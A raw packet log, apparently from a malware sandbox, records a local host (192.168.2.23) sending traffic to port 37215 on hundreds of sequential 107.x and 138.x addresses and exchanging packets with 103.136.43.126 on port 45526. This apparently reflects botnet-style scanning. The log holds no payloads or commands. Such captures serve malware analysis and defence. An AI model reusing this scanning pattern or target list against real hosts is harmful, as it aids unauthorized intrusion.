Feb 20, 2022 15:51:01.820240021 CET	1386	37215	192.168.2.23	107.113.53.109
Feb 20, 2022 15:51:01.820244074 CET	1386	37215	192.168.2.23	107.242.196.57
Feb 20, 2022 15:51:01.820276022 CET	1386	37215	192.168.2.23	107.11.87.125
Feb 20, 2022 15:51:01.820281029 CET	1386	37215	192.168.2.23	107.105.153.147
Feb 20, 2022 15:51:01.820300102 CET	1386	37215	192.168.2.23	107.96.204.252
Feb 20, 2022 15:51:01.820344925 CET	1386	37215	192.168.2.23	107.25.95.106
Feb 20, 2022 15:51:01.820348978 CET	1386	37215	192.168.2.23	107.186.25.213
Feb 20, 2022 15:51:01.820362091 CET	1386	37215	192.168.2.23	107.170.141.123
Feb 20, 2022 15:51:01.820393085 CET	1386	37215	192.168.2.23	107.254.74.64
Feb 20, 2022 15:51:01.820421934 CET	1386	37215	192.168.2.23	107.183.47.74
Feb 20, 2022 15:51:01.820445061 CET	1386	37215	192.168.2.23	107.1.246.228
Feb 20, 2022 15:51:01.820447922 CET	1386	37215	192.168.2.23	107.39.166.17
Feb 20, 2022 15:51:01.820486069 CET	1386	37215	192.168.2.23	107.54.152.123
Feb 20, 2022 15:51:01.820487022 CET	1386	37215	192.168.2.23	107.240.76.90
Feb 20, 2022 15:51:01.820534945 CET	1386	37215	192.168.2.23	107.156.102.83
Feb 20, 2022 15:51:01.820558071 CET	1386	37215	192.168.2.23	107.63.95.174
Feb 20, 2022 15:51:01.820560932 CET	1386	37215	192.168.2.23	107.123.142.43
Feb 20, 2022 15:51:01.820601940 CET	1386	37215	192.168.2.23	107.251.180.143
Feb 20, 2022 15:51:01.820609093 CET	1386	37215	192.168.2.23	107.127.147.25
Feb 20, 2022 15:51:01.820621014 CET	1386	37215	192.168.2.23	107.171.170.71
Feb 20, 2022 15:51:01.820652962 CET	1386	37215	192.168.2.23	107.41.106.123
Feb 20, 2022 15:51:01.820657015 CET	1386	37215	192.168.2.23	107.218.241.68
Feb 20, 2022 15:51:01.820681095 CET	1386	37215	192.168.2.23	107.92.129.101
Feb 20, 2022 15:51:01.820683002 CET	1386	37215	192.168.2.23	107.157.165.105
Feb 20, 2022 15:51:01.820729017 CET	1386	37215	192.168.2.23	107.148.82.184
Feb 20, 2022 15:51:01.820745945 CET	1386	37215	192.168.2.23	107.210.167.178
Feb 20, 2022 15:51:01.820764065 CET	1386	37215	192.168.2.23	107.228.85.140
Feb 20, 2022 15:51:01.820769072 CET	1386	37215	192.168.2.23	107.82.234.224
Feb 20, 2022 15:51:01.820791006 CET	1386	37215	192.168.2.23	107.136.108.70
Feb 20, 2022 15:51:01.820816994 CET	1386	37215	192.168.2.23	107.169.185.183
Feb 20, 2022 15:51:01.820828915 CET	1386	37215	192.168.2.23	107.88.53.248
Feb 20, 2022 15:51:01.820852995 CET	1386	37215	192.168.2.23	107.108.47.64
Feb 20, 2022 15:51:01.820887089 CET	1386	37215	192.168.2.23	107.181.28.25
Feb 20, 2022 15:51:01.820908070 CET	1386	37215	192.168.2.23	107.224.225.123
Feb 20, 2022 15:51:01.820913076 CET	1386	37215	192.168.2.23	107.65.8.13
Feb 20, 2022 15:51:01.820954084 CET	1386	37215	192.168.2.23	107.187.182.212
Feb 20, 2022 15:51:01.820971966 CET	1386	37215	192.168.2.23	107.41.99.115
Feb 20, 2022 15:51:01.820976019 CET	1386	37215	192.168.2.23	107.0.50.196
Feb 20, 2022 15:51:01.821016073 CET	1386	37215	192.168.2.23	107.95.122.147
Feb 20, 2022 15:51:01.821018934 CET	1386	37215	192.168.2.23	107.190.21.180
Feb 20, 2022 15:51:01.821039915 CET	1386	37215	192.168.2.23	107.54.73.216
Feb 20, 2022 15:51:01.821054935 CET	1386	37215	192.168.2.23	107.226.66.174
Feb 20, 2022 15:51:01.821074009 CET	1386	37215	192.168.2.23	107.55.153.110
Feb 20, 2022 15:51:01.821095943 CET	1386	37215	192.168.2.23	107.108.192.8
Feb 20, 2022 15:51:01.821119070 CET	1386	37215	192.168.2.23	107.42.121.233
Feb 20, 2022 15:51:01.821135044 CET	1386	37215	192.168.2.23	107.102.0.31
Feb 20, 2022 15:51:01.821167946 CET	1386	37215	192.168.2.23	107.127.238.161
Feb 20, 2022 15:51:01.821180105 CET	1386	37215	192.168.2.23	107.187.39.227
Feb 20, 2022 15:51:01.821214914 CET	1386	37215	192.168.2.23	107.179.192.221
Feb 20, 2022 15:51:01.821223974 CET	1386	37215	192.168.2.23	107.141.94.152
Feb 20, 2022 15:51:01.821238041 CET	1386	37215	192.168.2.23	107.100.244.45
Feb 20, 2022 15:51:01.821254015 CET	1386	37215	192.168.2.23	107.42.39.205
Feb 20, 2022 15:51:01.821296930 CET	1386	37215	192.168.2.23	107.163.217.79
Feb 20, 2022 15:51:01.821320057 CET	1386	37215	192.168.2.23	107.149.205.234
Feb 20, 2022 15:51:01.821329117 CET	1386	37215	192.168.2.23	107.162.78.141
Feb 20, 2022 15:51:01.821361065 CET	1386	37215	192.168.2.23	107.157.23.140
Feb 20, 2022 15:51:01.821362972 CET	1386	37215	192.168.2.23	107.75.48.1
Feb 20, 2022 15:51:01.821398973 CET	1386	37215	192.168.2.23	107.142.150.200
Feb 20, 2022 15:51:01.821423054 CET	1386	37215	192.168.2.23	107.150.61.1
Feb 20, 2022 15:51:01.821424961 CET	1386	37215	192.168.2.23	107.77.162.67
Feb 20, 2022 15:51:01.821461916 CET	1386	37215	192.168.2.23	107.238.233.239
Feb 20, 2022 15:51:01.821476936 CET	1386	37215	192.168.2.23	107.112.85.68
Feb 20, 2022 15:51:01.821501017 CET	1386	37215	192.168.2.23	107.65.243.175
Feb 20, 2022 15:51:01.821504116 CET	1386	37215	192.168.2.23	107.194.96.85
Feb 20, 2022 15:51:01.821520090 CET	1386	37215	192.168.2.23	107.189.162.165
Feb 20, 2022 15:51:01.821535110 CET	1386	37215	192.168.2.23	107.209.128.238
Feb 20, 2022 15:51:01.821563005 CET	1386	37215	192.168.2.23	107.167.141.182
Feb 20, 2022 15:51:01.821624041 CET	1386	37215	192.168.2.23	107.56.17.74
Feb 20, 2022 15:51:01.821643114 CET	1386	37215	192.168.2.23	107.181.172.137
Feb 20, 2022 15:51:01.821645975 CET	1386	37215	192.168.2.23	107.126.211.230
Feb 20, 2022 15:51:01.821682930 CET	1386	37215	192.168.2.23	107.95.208.96
Feb 20, 2022 15:51:01.821686983 CET	1386	37215	192.168.2.23	107.183.10.213
Feb 20, 2022 15:51:01.821702003 CET	1386	37215	192.168.2.23	107.157.190.33
Feb 20, 2022 15:51:01.821706057 CET	1386	37215	192.168.2.23	107.33.150.226
Feb 20, 2022 15:51:01.821743011 CET	1386	37215	192.168.2.23	107.187.161.167
Feb 20, 2022 15:51:01.821765900 CET	1386	37215	192.168.2.23	107.102.246.33
Feb 20, 2022 15:51:01.821768045 CET	1386	37215	192.168.2.23	107.4.153.180
Feb 20, 2022 15:51:01.821785927 CET	1386	37215	192.168.2.23	107.238.208.206
Feb 20, 2022 15:51:01.821811914 CET	1386	37215	192.168.2.23	107.11.113.180
Feb 20, 2022 15:51:01.821865082 CET	1386	37215	192.168.2.23	107.72.97.139
Feb 20, 2022 15:51:01.821886063 CET	1386	37215	192.168.2.23	107.214.212.152
Feb 20, 2022 15:51:01.821892023 CET	1386	37215	192.168.2.23	107.145.39.161
Feb 20, 2022 15:51:01.821923971 CET	1386	37215	192.168.2.23	107.217.124.49
Feb 20, 2022 15:51:01.821939945 CET	1386	37215	192.168.2.23	107.122.115.13
Feb 20, 2022 15:51:01.821962118 CET	1386	37215	192.168.2.23	107.167.240.77
Feb 20, 2022 15:51:01.821969032 CET	1386	37215	192.168.2.23	107.103.152.129
Feb 20, 2022 15:51:01.822000980 CET	1386	37215	192.168.2.23	107.255.161.104
Feb 20, 2022 15:51:01.822004080 CET	1386	37215	192.168.2.23	107.88.122.178
Feb 20, 2022 15:51:01.822037935 CET	1386	37215	192.168.2.23	107.53.81.61
Feb 20, 2022 15:51:01.822062969 CET	1386	37215	192.168.2.23	107.55.198.149
Feb 20, 2022 15:51:01.822072029 CET	1386	37215	192.168.2.23	107.26.221.235
Feb 20, 2022 15:51:01.822103024 CET	1386	37215	192.168.2.23	107.16.119.101
Feb 20, 2022 15:51:01.822123051 CET	1386	37215	192.168.2.23	107.124.210.169
Feb 20, 2022 15:51:01.822144032 CET	1386	37215	192.168.2.23	107.6.228.39
Feb 20, 2022 15:51:01.822170019 CET	1386	37215	192.168.2.23	107.120.194.74
Feb 20, 2022 15:51:01.822181940 CET	1386	37215	192.168.2.23	107.76.182.233
Feb 20, 2022 15:51:01.822210073 CET	1386	37215	192.168.2.23	107.246.93.148
Feb 20, 2022 15:51:01.822221994 CET	1386	37215	192.168.2.23	107.140.238.241
Feb 20, 2022 15:51:01.822256088 CET	1386	37215	192.168.2.23	107.168.31.145
Feb 20, 2022 15:51:01.822257042 CET	1386	37215	192.168.2.23	107.79.24.13
Feb 20, 2022 15:51:01.822266102 CET	1386	37215	192.168.2.23	107.59.142.201
Feb 20, 2022 15:51:01.822287083 CET	1386	37215	192.168.2.23	107.23.58.60
Feb 20, 2022 15:51:01.822313070 CET	1386	37215	192.168.2.23	107.54.34.215
Feb 20, 2022 15:51:01.822329044 CET	1386	37215	192.168.2.23	107.224.50.67
Feb 20, 2022 15:51:01.822371006 CET	1386	37215	192.168.2.23	107.118.32.31
Feb 20, 2022 15:51:01.822386026 CET	1386	37215	192.168.2.23	107.163.131.120
Feb 20, 2022 15:51:01.822392941 CET	1386	37215	192.168.2.23	107.66.145.179
Feb 20, 2022 15:51:01.822432041 CET	1386	37215	192.168.2.23	107.3.135.120
Feb 20, 2022 15:51:01.822438002 CET	1386	37215	192.168.2.23	107.36.91.179
Feb 20, 2022 15:51:01.822449923 CET	1386	37215	192.168.2.23	107.148.108.21
Feb 20, 2022 15:51:01.822473049 CET	1386	37215	192.168.2.23	107.210.94.160
Feb 20, 2022 15:51:01.822489977 CET	1386	37215	192.168.2.23	107.100.41.123
Feb 20, 2022 15:51:01.822510958 CET	1386	37215	192.168.2.23	107.182.138.207
Feb 20, 2022 15:51:01.822532892 CET	1386	37215	192.168.2.23	107.139.162.102
Feb 20, 2022 15:51:01.822561026 CET	1386	37215	192.168.2.23	107.230.19.244
Feb 20, 2022 15:51:01.822572947 CET	1386	37215	192.168.2.23	107.44.108.15
Feb 20, 2022 15:51:01.822592020 CET	1386	37215	192.168.2.23	107.53.89.188
Feb 20, 2022 15:51:01.822618961 CET	1386	37215	192.168.2.23	107.154.17.150
Feb 20, 2022 15:51:01.822638035 CET	1386	37215	192.168.2.23	107.200.12.173
Feb 20, 2022 15:51:01.822654009 CET	1386	37215	192.168.2.23	107.87.104.245
Feb 20, 2022 15:51:01.822694063 CET	1386	37215	192.168.2.23	107.222.6.190
Feb 20, 2022 15:51:01.822695971 CET	1386	37215	192.168.2.23	107.24.174.120
Feb 20, 2022 15:51:01.822710991 CET	1386	37215	192.168.2.23	107.135.13.129
Feb 20, 2022 15:51:01.822736025 CET	1386	37215	192.168.2.23	107.201.148.40
Feb 20, 2022 15:51:01.822752953 CET	1386	37215	192.168.2.23	107.90.92.72
Feb 20, 2022 15:51:01.822778940 CET	1386	37215	192.168.2.23	107.239.81.100
Feb 20, 2022 15:51:01.822803020 CET	1386	37215	192.168.2.23	107.7.208.67
Feb 20, 2022 15:51:01.822817087 CET	1386	37215	192.168.2.23	107.72.216.90
Feb 20, 2022 15:51:01.822839022 CET	1386	37215	192.168.2.23	107.217.185.202
Feb 20, 2022 15:51:01.822860003 CET	1386	37215	192.168.2.23	107.55.0.33
Feb 20, 2022 15:51:01.822875023 CET	1386	37215	192.168.2.23	107.44.134.169
Feb 20, 2022 15:51:01.822904110 CET	1386	37215	192.168.2.23	107.136.99.56
Feb 20, 2022 15:51:01.822936058 CET	1386	37215	192.168.2.23	107.156.9.81
Feb 20, 2022 15:51:01.822946072 CET	1386	37215	192.168.2.23	107.171.84.175
Feb 20, 2022 15:51:01.822978973 CET	1386	37215	192.168.2.23	107.218.72.51
Feb 20, 2022 15:51:01.822978973 CET	1386	37215	192.168.2.23	107.11.191.56
Feb 20, 2022 15:51:01.822993040 CET	1386	37215	192.168.2.23	107.146.190.19
Feb 20, 2022 15:51:01.823018074 CET	1386	37215	192.168.2.23	107.249.246.129
Feb 20, 2022 15:51:01.823034048 CET	1386	37215	192.168.2.23	107.115.29.85
Feb 20, 2022 15:51:01.823055029 CET	1386	37215	192.168.2.23	107.243.205.84
Feb 20, 2022 15:51:01.823077917 CET	1386	37215	192.168.2.23	107.162.248.216
Feb 20, 2022 15:51:01.823134899 CET	1386	37215	192.168.2.23	107.98.18.213
Feb 20, 2022 15:51:01.823142052 CET	1386	37215	192.168.2.23	107.23.221.130
Feb 20, 2022 15:51:01.823148012 CET	1386	37215	192.168.2.23	107.60.124.184
Feb 20, 2022 15:51:01.823179960 CET	1386	37215	192.168.2.23	107.197.163.35
Feb 20, 2022 15:51:01.823203087 CET	1386	37215	192.168.2.23	107.36.127.55
Feb 20, 2022 15:51:01.823227882 CET	1386	37215	192.168.2.23	107.146.248.81
Feb 20, 2022 15:51:01.841187954 CET	37215	1386	102.28.164.62	192.168.2.23
Feb 20, 2022 15:51:01.841259956 CET	1386	37215	192.168.2.23	102.28.164.62
Feb 20, 2022 15:51:01.841263056 CET	37215	1386	102.28.164.62	192.168.2.23
Feb 20, 2022 15:51:01.843971014 CET	37215	1898	107.150.71.205	192.168.2.23
Feb 20, 2022 15:51:01.844007969 CET	37215	1386	107.6.178.180	192.168.2.23
Feb 20, 2022 15:51:01.864459038 CET	37215	1898	107.150.71.96	192.168.2.23
Feb 20, 2022 15:51:01.888705969 CET	37215	1898	107.173.49.37	192.168.2.23
Feb 20, 2022 15:51:01.895804882 CET	37215	1898	107.173.21.145	192.168.2.23
Feb 20, 2022 15:51:01.901390076 CET	37215	1898	107.155.194.11	192.168.2.23
Feb 20, 2022 15:51:01.902067900 CET	37215	1898	102.153.166.61	192.168.2.23
Feb 20, 2022 15:51:01.902221918 CET	1898	37215	192.168.2.23	102.153.166.61
Feb 20, 2022 15:51:01.902261019 CET	37215	1898	102.153.166.61	192.168.2.23
Feb 20, 2022 15:51:01.907645941 CET	37215	1386	107.178.53.28	192.168.2.23
Feb 20, 2022 15:51:01.909739971 CET	37215	1898	107.167.196.121	192.168.2.23
Feb 20, 2022 15:51:01.914541006 CET	37215	1386	107.175.81.131	192.168.2.23
Feb 20, 2022 15:51:01.914818048 CET	37215	1898	107.91.5.88	192.168.2.23
Feb 20, 2022 15:51:01.915422916 CET	37215	1898	107.90.134.162	192.168.2.23
Feb 20, 2022 15:51:01.915819883 CET	37215	1386	107.170.186.252	192.168.2.23
Feb 20, 2022 15:51:01.918476105 CET	37215	1386	107.89.142.129	192.168.2.23
Feb 20, 2022 15:51:01.918524981 CET	37215	1898	107.180.79.49	192.168.2.23
Feb 20, 2022 15:51:01.920399904 CET	37215	1386	107.170.141.123	192.168.2.23
Feb 20, 2022 15:51:01.922272921 CET	37215	1386	107.172.41.172	192.168.2.23
Feb 20, 2022 15:51:01.922713041 CET	37215	1898	107.155.239.33	192.168.2.23
Feb 20, 2022 15:51:01.923290014 CET	37215	1386	107.126.187.234	192.168.2.23
Feb 20, 2022 15:51:01.923830032 CET	37215	1386	107.175.122.125	192.168.2.23
Feb 20, 2022 15:51:01.924387932 CET	37215	1898	107.155.236.219	192.168.2.23
Feb 20, 2022 15:51:01.925404072 CET	37215	1898	107.143.181.57	192.168.2.23
Feb 20, 2022 15:51:01.926198959 CET	37215	1386	107.172.128.85	192.168.2.23
Feb 20, 2022 15:51:01.927077055 CET	37215	1386	107.1.214.200	192.168.2.23
Feb 20, 2022 15:51:01.928081989 CET	37215	1386	107.173.198.51	192.168.2.23
Feb 20, 2022 15:51:01.930202007 CET	37215	1898	107.91.33.123	192.168.2.23
Feb 20, 2022 15:51:01.930623055 CET	37215	1898	107.20.150.40	192.168.2.23
Feb 20, 2022 15:51:01.931104898 CET	37215	1898	107.155.20.90	192.168.2.23
Feb 20, 2022 15:51:01.931340933 CET	37215	1386	107.125.132.185	192.168.2.23
Feb 20, 2022 15:51:01.933954000 CET	37215	1898	107.179.60.199	192.168.2.23
Feb 20, 2022 15:51:01.934113026 CET	37215	1386	107.217.195.215	192.168.2.23
Feb 20, 2022 15:51:01.935643911 CET	37215	1386	107.125.129.66	192.168.2.23
Feb 20, 2022 15:51:01.935970068 CET	37215	1386	107.90.128.221	192.168.2.23
Feb 20, 2022 15:51:01.936002016 CET	37215	1898	107.152.35.197	192.168.2.23
Feb 20, 2022 15:51:01.936031103 CET	37215	1386	107.126.181.95	192.168.2.23
Feb 20, 2022 15:51:01.939153910 CET	37215	1386	107.23.67.65	192.168.2.23
Feb 20, 2022 15:51:01.939682007 CET	37215	1898	102.26.2.253	192.168.2.23
Feb 20, 2022 15:51:01.940721035 CET	37215	1898	107.127.177.38	192.168.2.23
Feb 20, 2022 15:51:01.941943884 CET	37215	1898	107.4.160.252	192.168.2.23
Feb 20, 2022 15:51:01.942305088 CET	37215	1386	107.174.248.95	192.168.2.23
Feb 20, 2022 15:51:01.943506956 CET	37215	1386	107.155.229.8	192.168.2.23
Feb 20, 2022 15:51:01.944152117 CET	37215	1898	107.90.151.129	192.168.2.23
Feb 20, 2022 15:51:01.944856882 CET	37215	1386	107.127.147.25	192.168.2.23
Feb 20, 2022 15:51:01.951719999 CET	37215	1386	107.126.150.25	192.168.2.23
Feb 20, 2022 15:51:01.953063011 CET	37215	1898	107.186.167.195	192.168.2.23
Feb 20, 2022 15:51:01.955220938 CET	37215	1386	107.152.58.101	192.168.2.23
Feb 20, 2022 15:51:01.955250978 CET	37215	1898	107.149.237.116	192.168.2.23
Feb 20, 2022 15:51:01.956485987 CET	37215	1898	107.165.159.92	192.168.2.23
Feb 20, 2022 15:51:01.957492113 CET	37215	1386	107.91.60.136	192.168.2.23
Feb 20, 2022 15:51:01.957521915 CET	37215	1386	107.178.7.101	192.168.2.23
Feb 20, 2022 15:51:01.958067894 CET	37215	1386	107.126.245.170	192.168.2.23
Feb 20, 2022 15:51:01.960933924 CET	37215	1898	107.165.45.210	192.168.2.23
Feb 20, 2022 15:51:01.961680889 CET	37215	1386	107.189.167.80	192.168.2.23
Feb 20, 2022 15:51:01.964443922 CET	37215	1386	107.126.211.230	192.168.2.23
Feb 20, 2022 15:51:01.964766979 CET	37215	1386	107.125.182.246	192.168.2.23
Feb 20, 2022 15:51:01.966017008 CET	37215	1386	107.127.238.161	192.168.2.23
Feb 20, 2022 15:51:01.967657089 CET	37215	1898	102.50.195.14	192.168.2.23
Feb 20, 2022 15:51:01.968563080 CET	37215	1898	107.149.69.26	192.168.2.23
Feb 20, 2022 15:51:01.969002008 CET	37215	1386	102.153.94.172	192.168.2.23
Feb 20, 2022 15:51:01.970571995 CET	37215	1898	107.175.119.185	192.168.2.23
Feb 20, 2022 15:51:01.971211910 CET	37215	1898	107.178.165.127	192.168.2.23
Feb 20, 2022 15:51:01.971285105 CET	1898	37215	192.168.2.23	107.178.165.127
Feb 20, 2022 15:51:01.971841097 CET	37215	1386	107.6.90.75	192.168.2.23
Feb 20, 2022 15:51:01.975647926 CET	37215	1386	107.2.172.179	192.168.2.23
Feb 20, 2022 15:51:01.981034040 CET	37215	1386	107.165.57.48	192.168.2.23
Feb 20, 2022 15:51:01.984831095 CET	37215	1386	107.186.189.254	192.168.2.23
Feb 20, 2022 15:51:01.988173008 CET	37215	1386	107.186.117.243	192.168.2.23
Feb 20, 2022 15:51:01.989542961 CET	37215	1386	107.148.182.18	192.168.2.23
Feb 20, 2022 15:51:01.989665985 CET	1386	37215	192.168.2.23	107.148.182.18
Feb 20, 2022 15:51:01.990542889 CET	37215	1386	107.148.89.75	192.168.2.23
Feb 20, 2022 15:51:02.002954006 CET	37215	1386	107.148.82.184	192.168.2.23
Feb 20, 2022 15:51:02.003142118 CET	37215	1386	107.163.131.120	192.168.2.23
Feb 20, 2022 15:51:02.003706932 CET	37215	1898	107.148.24.100	192.168.2.23
Feb 20, 2022 15:51:02.006196022 CET	37215	1898	107.80.52.90	192.168.2.23
Feb 20, 2022 15:51:02.069102049 CET	37215	1898	102.182.13.6	192.168.2.23
Feb 20, 2022 15:51:02.090717077 CET	37215	1898	102.77.153.33	192.168.2.23
Feb 20, 2022 15:51:02.128787041 CET	37215	1898	107.151.183.224	192.168.2.23
Feb 20, 2022 15:51:02.137942076 CET	37215	1898	102.27.95.168	192.168.2.23
Feb 20, 2022 15:51:02.138139009 CET	1898	37215	192.168.2.23	102.27.95.168
Feb 20, 2022 15:51:02.162940025 CET	37215	1898	102.27.95.168	192.168.2.23
Feb 20, 2022 15:51:02.218626022 CET	37215	1386	102.153.200.147	192.168.2.23
Feb 20, 2022 15:51:02.236988068 CET	37215	1898	102.28.5.198	192.168.2.23
Feb 20, 2022 15:51:02.245388031 CET	37215	1386	107.148.108.21	192.168.2.23
Feb 20, 2022 15:51:02.289380074 CET	37215	1898	102.154.231.220	192.168.2.23
Feb 20, 2022 15:51:02.377334118 CET	37215	1898	102.50.193.234	192.168.2.23
Feb 20, 2022 15:51:02.392509937 CET	37215	1386	41.70.240.79	192.168.2.23
Feb 20, 2022 15:51:02.487119913 CET	47480	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 15:51:02.492743969 CET	37215	1386	102.30.148.97	192.168.2.23
Feb 20, 2022 15:51:02.535864115 CET	45526	47480	103.136.43.126	192.168.2.23
Feb 20, 2022 15:51:02.535969019 CET	47480	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 15:51:02.536297083 CET	47480	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 15:51:02.584881067 CET	45526	47480	103.136.43.126	192.168.2.23
Feb 20, 2022 15:51:02.584989071 CET	47480	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 15:51:02.633670092 CET	45526	47480	103.136.43.126	192.168.2.23
Feb 20, 2022 15:51:02.660224915 CET	37215	1386	102.30.214.84	192.168.2.23
Feb 20, 2022 15:51:02.742873907 CET	37215	1898	41.137.237.174	192.168.2.23
Feb 20, 2022 15:51:02.803632021 CET	1898	37215	192.168.2.23	138.157.198.241
Feb 20, 2022 15:51:02.803776979 CET	1898	37215	192.168.2.23	138.40.108.60
Feb 20, 2022 15:51:02.803783894 CET	1898	37215	192.168.2.23	138.97.140.14
Feb 20, 2022 15:51:02.803787947 CET	1898	37215	192.168.2.23	138.65.96.93
Feb 20, 2022 15:51:02.803814888 CET	1898	37215	192.168.2.23	138.178.200.190
Feb 20, 2022 15:51:02.803881884 CET	1898	37215	192.168.2.23	138.250.176.108
Feb 20, 2022 15:51:02.803988934 CET	1898	37215	192.168.2.23	138.220.55.132
Feb 20, 2022 15:51:02.804024935 CET	1898	37215	192.168.2.23	138.186.38.105
Feb 20, 2022 15:51:02.804079056 CET	1898	37215	192.168.2.23	138.112.162.201
Feb 20, 2022 15:51:02.804080963 CET	1898	37215	192.168.2.23	138.17.195.120
Feb 20, 2022 15:51:02.804153919 CET	1898	37215	192.168.2.23	138.148.56.140
Feb 20, 2022 15:51:02.804243088 CET	1898	37215	192.168.2.23	138.124.222.158
Feb 20, 2022 15:51:02.804269075 CET	1898	37215	192.168.2.23	138.79.59.154
Feb 20, 2022 15:51:02.804272890 CET	1898	37215	192.168.2.23	138.93.170.251
Feb 20, 2022 15:51:02.804303885 CET	1898	37215	192.168.2.23	138.150.108.70
Feb 20, 2022 15:51:02.804413080 CET	1898	37215	192.168.2.23	138.147.130.162
Feb 20, 2022 15:51:02.804414988 CET	1898	37215	192.168.2.23	138.101.222.77
Feb 20, 2022 15:51:02.804449081 CET	1898	37215	192.168.2.23	138.12.69.10
Feb 20, 2022 15:51:02.804558992 CET	1898	37215	192.168.2.23	138.162.94.21
Feb 20, 2022 15:51:02.804568052 CET	1898	37215	192.168.2.23	138.58.80.243
Feb 20, 2022 15:51:02.804645061 CET	1898	37215	192.168.2.23	138.145.186.249
Feb 20, 2022 15:51:02.804697037 CET	1898	37215	192.168.2.23	138.246.153.245
Feb 20, 2022 15:51:02.804717064 CET	1898	37215	192.168.2.23	138.80.86.54
Feb 20, 2022 15:51:02.804809093 CET	1898	37215	192.168.2.23	138.88.223.172
Feb 20, 2022 15:51:02.804810047 CET	1898	37215	192.168.2.23	138.14.87.88
Feb 20, 2022 15:51:02.804873943 CET	1898	37215	192.168.2.23	138.222.73.253
Feb 20, 2022 15:51:02.804960966 CET	1898	37215	192.168.2.23	138.27.225.212
Feb 20, 2022 15:51:02.804997921 CET	1898	37215	192.168.2.23	138.111.37.227
Feb 20, 2022 15:51:02.805001974 CET	1898	37215	192.168.2.23	138.48.52.17
Feb 20, 2022 15:51:02.805039883 CET	1898	37215	192.168.2.23	138.8.199.238
Feb 20, 2022 15:51:02.805094957 CET	1898	37215	192.168.2.23	138.45.185.158
Feb 20, 2022 15:51:02.805193901 CET	1898	37215	192.168.2.23	138.29.203.68
Feb 20, 2022 15:51:02.805212975 CET	1898	37215	192.168.2.23	138.152.148.255
Feb 20, 2022 15:51:02.805278063 CET	1898	37215	192.168.2.23	138.49.218.195
Feb 20, 2022 15:51:02.805325031 CET	1898	37215	192.168.2.23	138.16.95.51
Feb 20, 2022 15:51:02.805335045 CET	1898	37215	192.168.2.23	138.120.181.179
Feb 20, 2022 15:51:02.805432081 CET	1898	37215	192.168.2.23	138.46.73.18
Feb 20, 2022 15:51:02.805478096 CET	1898	37215	192.168.2.23	138.77.156.97
Feb 20, 2022 15:51:02.805516958 CET	1898	37215	192.168.2.23	138.6.39.30
Feb 20, 2022 15:51:02.805577993 CET	1898	37215	192.168.2.23	138.255.212.113
Feb 20, 2022 15:51:02.805579901 CET	1898	37215	192.168.2.23	138.111.141.92
Feb 20, 2022 15:51:02.805665016 CET	1898	37215	192.168.2.23	138.37.160.85
Feb 20, 2022 15:51:02.805670023 CET	1898	37215	192.168.2.23	138.89.252.70
Feb 20, 2022 15:51:02.805702925 CET	1898	37215	192.168.2.23	138.34.24.249
Feb 20, 2022 15:51:02.805800915 CET	1898	37215	192.168.2.23	138.162.27.254
Feb 20, 2022 15:51:02.805803061 CET	1898	37215	192.168.2.23	138.193.114.117
Feb 20, 2022 15:51:02.805844069 CET	1898	37215	192.168.2.23	138.125.181.104
Feb 20, 2022 15:51:02.805944920 CET	1898	37215	192.168.2.23	138.5.96.253
Feb 20, 2022 15:51:02.805949926 CET	1898	37215	192.168.2.23	138.23.168.155
Feb 20, 2022 15:51:02.806034088 CET	1898	37215	192.168.2.23	138.50.104.130
Feb 20, 2022 15:51:02.806041002 CET	1898	37215	192.168.2.23	138.40.223.129
Feb 20, 2022 15:51:02.806072950 CET	1898	37215	192.168.2.23	138.182.222.247
Feb 20, 2022 15:51:02.806117058 CET	1898	37215	192.168.2.23	138.18.247.102
Feb 20, 2022 15:51:02.806174040 CET	1898	37215	192.168.2.23	138.57.99.15
Feb 20, 2022 15:51:02.806224108 CET	1898	37215	192.168.2.23	138.79.177.53
Feb 20, 2022 15:51:02.806281090 CET	1898	37215	192.168.2.23	138.138.49.95
Feb 20, 2022 15:51:02.806328058 CET	1898	37215	192.168.2.23	138.132.94.91
Feb 20, 2022 15:51:02.806420088 CET	1898	37215	192.168.2.23	138.56.129.166
Feb 20, 2022 15:51:02.806432962 CET	1898	37215	192.168.2.23	138.127.106.148
Feb 20, 2022 15:51:02.806531906 CET	1898	37215	192.168.2.23	138.62.171.245
Feb 20, 2022 15:51:02.806566954 CET	1898	37215	192.168.2.23	138.85.181.249
Feb 20, 2022 15:51:02.806565046 CET	1898	37215	192.168.2.23	138.179.198.47
Feb 20, 2022 15:51:02.806632042 CET	1898	37215	192.168.2.23	138.71.115.125
Feb 20, 2022 15:51:02.806683064 CET	1898	37215	192.168.2.23	138.65.34.74
Feb 20, 2022 15:51:02.806714058 CET	1898	37215	192.168.2.23	138.11.220.78
Feb 20, 2022 15:51:02.806757927 CET	1898	37215	192.168.2.23	138.60.239.88
Feb 20, 2022 15:51:02.806765079 CET	1898	37215	192.168.2.23	138.215.218.131
Feb 20, 2022 15:51:02.806796074 CET	1898	37215	192.168.2.23	138.231.44.50
Feb 20, 2022 15:51:02.806869984 CET	1898	37215	192.168.2.23	138.241.157.179
Feb 20, 2022 15:51:02.806922913 CET	1898	37215	192.168.2.23	138.137.169.238
Feb 20, 2022 15:51:02.806929111 CET	1898	37215	192.168.2.23	138.76.87.79
Feb 20, 2022 15:51:02.806999922 CET	1898	37215	192.168.2.23	138.138.38.147
Feb 20, 2022 15:51:02.807035923 CET	1898	37215	192.168.2.23	138.233.116.170
Feb 20, 2022 15:51:02.807084084 CET	1898	37215	192.168.2.23	138.75.236.111
Feb 20, 2022 15:51:02.807132006 CET	1898	37215	192.168.2.23	138.93.117.51
Feb 20, 2022 15:51:02.807169914 CET	1898	37215	192.168.2.23	138.126.115.196
Feb 20, 2022 15:51:02.807225943 CET	1898	37215	192.168.2.23	138.31.166.249
Feb 20, 2022 15:51:02.807243109 CET	1898	37215	192.168.2.23	138.35.218.106
Feb 20, 2022 15:51:02.807290077 CET	1898	37215	192.168.2.23	138.26.221.205
Feb 20, 2022 15:51:02.807338953 CET	1898	37215	192.168.2.23	138.121.185.65
Feb 20, 2022 15:51:02.807380915 CET	1898	37215	192.168.2.23	138.208.82.180
Feb 20, 2022 15:51:02.807424068 CET	1898	37215	192.168.2.23	138.101.108.150
Feb 20, 2022 15:51:02.807482004 CET	1898	37215	192.168.2.23	138.31.8.236
Feb 20, 2022 15:51:02.807534933 CET	1898	37215	192.168.2.23	138.231.190.165
Feb 20, 2022 15:51:02.807606936 CET	1898	37215	192.168.2.23	138.58.138.76
